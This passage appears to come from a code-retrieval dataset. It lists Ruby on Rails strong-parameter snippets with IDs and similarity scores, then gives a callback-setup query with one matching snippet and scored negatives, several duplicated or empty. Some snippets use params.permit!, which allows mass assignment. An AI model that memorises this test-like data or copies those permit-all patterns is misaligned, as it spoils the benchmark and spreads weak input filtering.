"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "81cafe3e52632adc3fe4d5ab5cb56273",
"score": "0.0",
"text": "def set_pledge\n @pledge = Pledge.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163821",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045432",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5945441",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.5916224",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.58894575",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.5834073",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.57764685",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5702474",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5702474",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5653258",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.56211996",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54235053",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5410683",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5410683",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5410683",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.53948104",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.5378064",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5356684",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53400385",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53399503",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53312254",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53121567",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.52971965",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52964705",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.52956307",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52587366",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52450675",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5237777",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5237777",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5237777",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5237777",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5237777",
"text": "def action; end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.5233381",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.52325714",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.52288216",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52229726",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.5218362",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.52142864",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.5207988",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.5206337",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51762295",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51745105",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51728606",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.516616",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5161016",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.5157393",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.5152562",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51524293",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152397",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.5144533",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.513982",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.51342106",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113793",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113793",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5113671",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.51092553",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.51062804",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.50921935",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.5088855",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5082236",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.5079901",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.5066569",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.5055307",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5053106",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50499666",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50499666",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5035068",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.50258636",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.50220853",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015893",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50134486",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5001442",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.50005543",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4998581",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49901858",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49901858",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.4986648",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49809486",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49792925",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4978855",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49685496",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.49656174",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.49576473",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49563017",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4955349",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.49536878",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.4952439",
"text": "def save_action; end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49460214",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.494239",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49334687",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49315962",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49266812",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49261138",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.4925925",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4922542",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.4920779",
"text": "def advice\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49173284",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49169463",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.4916256",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.49162322",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49156886",
